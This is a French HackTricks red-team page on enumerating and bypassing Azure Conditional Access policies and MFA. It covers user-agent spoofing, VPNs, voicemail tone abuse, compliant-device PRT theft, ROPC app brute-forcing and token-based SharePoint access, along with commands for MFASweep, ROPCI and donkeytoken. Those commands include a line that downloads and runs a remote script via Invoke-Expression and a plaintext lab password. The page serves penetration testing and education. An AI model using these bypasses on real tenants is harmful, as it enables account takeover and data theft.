Az - Conditional Access Policies & MFA Bypass

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

Informations de base

Les Azure Conditional Access policies sont des règles configurées dans Microsoft Azure pour appliquer des contrôles d’accès aux services et applications Azure en fonction de certaines conditions. Ces policies aident les organisations à sécuriser leurs ressources en appliquant les contrôles d’accès appropriés selon les circonstances.
Les Conditional access policies définissent essentiellement Qui peut accéder Quoi depuis Où et Comment.

Voici quelques exemples :

1. Sign-In Risk Policy : cette policy peut être configurée pour exiger une authentification multifacteur (MFA) lorsqu’un risque de connexion est détecté. Par exemple, si le comportement de connexion d’un utilisateur est inhabituel par rapport à son modèle habituel, comme une connexion depuis un autre pays, le système peut demander une authentification supplémentaire.
2. Device Compliance Policy : cette policy peut restreindre l’accès aux services Azure uniquement aux appareils conformes aux normes de sécurité de l’organisation. Par exemple, l’accès pourrait être autorisé uniquement depuis des appareils disposant d’un antivirus à jour ou exécutant une certaine version du système d’exploitation.

Énumération

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Contournements des politiques d’accès conditionnel

Il est possible qu’une politique d’accès conditionnel vérifie des informations qui peuvent être facilement falsifiées, permettant ainsi un contournement de la politique. Et si par exemple la politique configurait la MFA, l’attaquant pourra la contourner.

Lors de la configuration d’une politique d’accès conditionnel il faut indiquer les utilisateurs affectés et les ressources cibles (comme all cloud apps).

Il faut aussi configurer les conditions qui vont déclencher la politique :

• Network: Ip, IP ranges and geographical locations
• Peut être contourné en utilisant un VPN ou un proxy pour se connecter depuis un pays autorisé ou en réussissant à se connecter depuis une adresse IP autorisée
• Microsoft risks: User risk, Sign-in risk, Insider risk
• Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
• Si “Any device” n’est pas sélectionné mais que toutes les autres options le sont, il est possible de le contourner en utilisant un user-agent aléatoire non lié à ces plateformes
• Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
• Pour contourner, se connecter avec une option qui n’est pas sélectionnée
• Filter for devices: Il est possible de générer une règle liée à l’appareil utilisé
• Authentication flows: Options are “Device code flow” and “Authentication transfer”
• Cela n’affectera pas un attacker à moins qu’il n’essaie d’abuser de l’un de ces protocoles dans une tentative de phishing pour accéder au compte de la victime

Les résultats possibles sont : Bloquer ou Accorder l’accès avec des conditions potentielles comme exiger la MFA, que l’appareil soit compliant…

Device Platforms - Device Condition

Il est possible de définir une condition basée sur la plateforme de l’appareil (Android, iOS, Windows, macOS…), cependant, cela se base sur le user-agent donc c’est facile à contourner. Même en exigeant la MFA pour toutes les options, si vous utilisez un user-agent qui n’est pas reconnu, vous pourrez contourner la MFA ou le blocage :

Il suffit que le navigateur envoie un user-agent inconnu (comme Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) pour ne pas déclencher cette condition.
Vous pouvez changer le user agent manuellement dans les outils de développement :

Ou utiliser une browser extension like this one.

Locations: Countries, IP ranges - Device Condition

Si cela est défini dans la politique conditionnelle, un attacker peut simplement utiliser un VPN dans le pays autorisé ou essayer de trouver un moyen d’accéder depuis une adresse IP autorisée pour contourner ces conditions.

Cloud Apps

Il est possible de configurer des politiques d’accès conditionnel pour bloquer ou forcer, par exemple, la MFA lorsqu’un utilisateur tente d’accéder à une application spécifique :

Pour essayer de contourner cette protection, vous devez voir si vous pouvez seulement into any application.
L’outil AzureAppsSweep contient des dizaines d’IDs d’applications en dur et tentera de se connecter à celles-ci, vous informera et vous donnera même le token si réussi.

Pour tester des IDs d’application spécifiques dans des ressources spécifiques vous pouvez aussi utiliser un outil tel que :

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

De plus, il est aussi possible de protéger la méthode de connexion (par ex. si vous tentez de vous connecter depuis le navigateur ou depuis une application desktop). L’outil Invoke-MFASweep effectue quelques vérifications pour tenter de contourner ces protections.

L’outil donkeytoken peut aussi être utilisé à des fins similaires, bien qu’il semble non maintenu.

L’outil ROPCI peut également être utilisé pour tester ces protections et vérifier s’il est possible de contourner les MFA ou les blocages, mais cet outil fonctionne selon une perspective whitebox. Vous devez d’abord télécharger la liste des Apps autorisées dans le tenant, puis il tentera de s’y connecter.

Autres contournements MFA Az

Sonnerie

Une option d’Azure MFA est de recevoir un appel sur le numéro de téléphone configuré où il sera demandé à l’utilisateur d’envoyer le caractère #.

Caution

Comme les caractères ne sont que des tonalités, un attaquant pourrait compromettre le message de boîte vocale du numéro, configurer comme message la tonalité de #, puis, lors de la demande MFA, s’assurer que le téléphone de la victime est occupé (en l’appelant) pour que l’appel Azure soit redirigé vers la messagerie vocale.

Appareils conformes

Les politiques demandent souvent un appareil conforme ou un MFA, donc un attaquant pourrait enregistrer un appareil conforme, obtenir un PRT et contourner ainsi le MFA.

Commencez par enregistrer un appareil conforme dans Intune, puis obtenez le PRT avec :

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Trouvez plus d’informations sur ce type d’attaque sur la page suivante :

Az - Primary Refresh Token (PRT)

Outils

AzureAppsSweep

Ce script récupère des identifiants utilisateur et vérifie s’il peut se connecter à certaines applications.

Ceci est utile pour vérifier si vous n’êtes pas obligé d’utiliser MFA pour vous connecter à certaines applications que vous pourriez ensuite abuser pour escalate privileges.

roadrecon

Récupère toutes les politiques

roadrecon plugin policies

Invoke-MFASweep

MFASweep est un script PowerShell qui tente de se connecter à divers services Microsoft en utilisant un jeu d’identifiants fournis et d’identifier si MFA est activé. Selon la configuration des conditional access policies et des autres paramètres d’authentification multi-facteurs, certains protocoles peuvent rester à un seul facteur. Il inclut aussi une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS on-prem si celui-ci est détecté.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Cet outil a aidé à identifier des MFA bypasses puis à abuser des APIs dans plusieurs locataires AAD en production, où des clients AAD croyaient que le MFA était appliqué, mais l’authentification basée sur ROPC a réussi.

Tip

Vous devez disposer des autorisations pour lister toutes les applications afin de pouvoir générer la liste des apps à brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token est un ensemble de fonctions visant à aider les consultants en sécurité qui doivent valider les Conditional Access Policies, effectuer des tests pour les portails Microsoft avec 2FA activé, etc.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Testez chaque portail pour vérifier s’il est possible de login sans MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Parce que le Azure portal n’est pas restreint, il est possible de récupérer un token depuis l’endpoint du portal pour accéder à n’importe quel service détecté par l’exécution précédente. Dans ce cas Sharepoint a été identifié, et un token pour y accéder est demandé:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Si le token possède la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint via le web à cause de MFA, il est possible d’utiliser le token généré pour accéder aux fichiers :

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Références

• https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s
• https://www.youtube.com/watch?v=xei8lAPitX8

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.